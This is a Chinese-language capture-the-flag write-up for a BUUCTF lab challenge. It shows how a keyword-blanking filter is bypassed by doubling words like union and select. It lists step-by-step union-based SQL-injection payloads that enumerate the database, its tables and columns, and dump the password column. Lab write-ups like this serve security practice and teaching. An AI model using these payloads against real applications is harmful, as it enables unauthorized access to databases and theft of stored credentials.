环境
BUUCTF在线环境,启动靶机,获取链接。
http://58c49b6a-3eb5-4bb4-8037-e68e66f39616.node4.buuoj.cn:81
解题思路
访问链接,熟悉的页面。
老规矩,万能密码走一波。
不让登了,发现有做过滤。
看看过滤了什么,不闭合username的单引号,让它报错看看。
?username=admin'&password=admin'+or+'1'+='1
发现下面的关键词or
不见了,试试双写看看。
?username=admin&password=admin'+oorr+'1'+='1
果然登进去了,所以这里的过滤是将关键词进行置空,我们可以通过双写绕过。
我们来模糊测试下过滤了什么关键词。
经测试select、or、union、from
等被过滤置空。
构造payload报错当前显示的字段数。
?username=admin&password=admin'+ununionion seleselectct 1,2,3%23
爆出当前数据库名:
?username=admin&password=admin'+ununionion seleselectct 1,version(),database()%23
爆出表名:
?username=admin&password=admin' uniunionon seleselectct 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() %23
爆出字段:
?username=admin&password=admin' uniunionon seleselectct 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'%23
爆出表中的内容:(拿到flag)
?username=admin&password=admin' uniunionon seleselectct 1,2,group_concat(passwoorrd) frfromom b4bsql%23
总结
过滤了关键词,可以通过双写绕过。